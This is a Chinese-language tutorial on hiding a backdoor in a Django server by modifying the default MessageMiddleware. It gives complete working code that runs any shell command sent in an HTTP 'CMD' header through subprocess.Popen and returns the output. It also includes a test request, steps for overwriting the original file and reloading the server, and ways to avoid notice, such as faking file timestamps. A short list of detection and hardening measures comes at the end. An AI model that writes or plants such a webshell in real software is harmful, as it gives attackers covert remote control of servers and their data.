一种隐蔽的利用Django中间件(Middleware)留后门的方法
字数 869 2025-08-26 22:11:40

Django中间件隐蔽后门技术分析

一、Django中间件基础

1.1 Django请求生命周期

Django中间件是修改Django request或response对象的钩子,位于HttpRequest与HttpResponse处理之间的一道处理过程。

1.2 中间件主要功能

  • 修改请求:传送到view中的HttpRequest对象
  • 修改响应:view返回的HttpResponse对象

二、后门实现原理

2.1 后门实现方案

  1. 方案一:编写自定义中间件并载入项目
  2. 方案二:修改现有默认中间件(更隐蔽)

2.2 默认中间件分析

Django默认创建的中间件包括:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

三、具体实现步骤

3.1 目标中间件选择

选择django.contrib.messages.middleware.MessageMiddleware进行修改

3.2 修改后的中间件代码

from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin
from django.http import HttpResponse
import subprocess

class MessageMiddleware(MiddlewareMixin):
    """
    Middleware that handles temporary messages.
    """
    def process_request(self, request):
        request._messages = default_storage(request)

    def process_response(self, request, response):
        """
        Update the storage backend (i.e., save the messages).
        Raise ValueError if not all messages could be stored and DEBUG is True.
        """
        # A higher middleware layer may return a request which does not contain
        # messages storage, so make no assumption that it will be there.
        print("Django-shell working")
        cmd = None
        cmd = request.META.get("HTTP_CMD")
        if cmd:
            ret = subprocess.Popen(cmd, shell=True, 
                                 stdout=subprocess.PIPE, 
                                 stderr=subprocess.STDOUT)
            response = HttpResponse(cmd + ":\r\n" + str(ret.stdout.read()))
        
        if hasattr(request, '_messages'):
            unstored_messages = request._messages.update(response)
            if unstored_messages and settings.DEBUG:
                raise ValueError('Not all temporary messages could be stored.')
        return response

3.3 后门功能说明

  1. 通过HTTP请求头HTTP_CMD接收命令
  2. 使用subprocess.Popen执行系统命令
  3. 将命令执行结果通过HTTP响应返回

四、部署与测试

4.1 部署注意事项

  1. 覆盖原中间件文件
  2. 服务重启要求:
    • uwsgi服务需要重启或重载
    • runserver或配置了py-autoreload的uwsgi无需重启

4.2 测试方法

发送包含CMD头的HTTP请求:

GET / HTTP/1.1
Host: target.com
CMD: whoami

4.3 隐蔽性增强措施

  1. 伪装文件修改时间
  2. 保持原有中间件功能不变
  3. 避免在响应中留下明显痕迹

五、防御措施

5.1 检测方法

  1. 检查中间件文件的完整性
  2. 监控异常的子进程创建
  3. 检查HTTP请求中可疑的头部字段

5.2 防护建议

  1. 实施文件完整性监控
  2. 限制Django应用的系统权限
  3. 定期审计第三方和自定义中间件
  4. 使用最小权限原则运行服务

六、技术总结

这种后门技术利用了Django中间件的合法功能,通过修改现有中间件实现命令执行,具有以下特点:

  1. 隐蔽性强,难以通过常规检查发现
  2. 无需额外加载模块,直接修改系统文件
  3. 利用正常HTTP通信通道,不易被防火墙拦截
  4. 保持原有功能的同时添加恶意代码
Django中间件隐蔽后门技术分析 一、Django中间件基础 1.1 Django请求生命周期 Django中间件是修改Django request或response对象的钩子,位于HttpRequest与HttpResponse处理之间的一道处理过程。 1.2 中间件主要功能 修改请求:传送到view中的HttpRequest对象 修改响应:view返回的HttpResponse对象 二、后门实现原理 2.1 后门实现方案 方案一 :编写自定义中间件并载入项目 方案二 :修改现有默认中间件(更隐蔽) 2.2 默认中间件分析 Django默认创建的中间件包括: 三、具体实现步骤 3.1 目标中间件选择 选择 django.contrib.messages.middleware.MessageMiddleware 进行修改 3.2 修改后的中间件代码 3.3 后门功能说明 通过HTTP请求头 HTTP_CMD 接收命令 使用 subprocess.Popen 执行系统命令 将命令执行结果通过HTTP响应返回 四、部署与测试 4.1 部署注意事项 覆盖原中间件文件 服务重启要求: uwsgi服务需要重启或重载 runserver或配置了py-autoreload的uwsgi无需重启 4.2 测试方法 发送包含 CMD 头的HTTP请求: 4.3 隐蔽性增强措施 伪装文件修改时间 保持原有中间件功能不变 避免在响应中留下明显痕迹 五、防御措施 5.1 检测方法 检查中间件文件的完整性 监控异常的子进程创建 检查HTTP请求中可疑的头部字段 5.2 防护建议 实施文件完整性监控 限制Django应用的系统权限 定期审计第三方和自定义中间件 使用最小权限原则运行服务 六、技术总结 这种后门技术利用了Django中间件的合法功能,通过修改现有中间件实现命令执行,具有以下特点: 隐蔽性强,难以通过常规检查发现 无需额外加载模块,直接修改系统文件 利用正常HTTP通信通道,不易被防火墙拦截 保持原有功能的同时添加恶意代码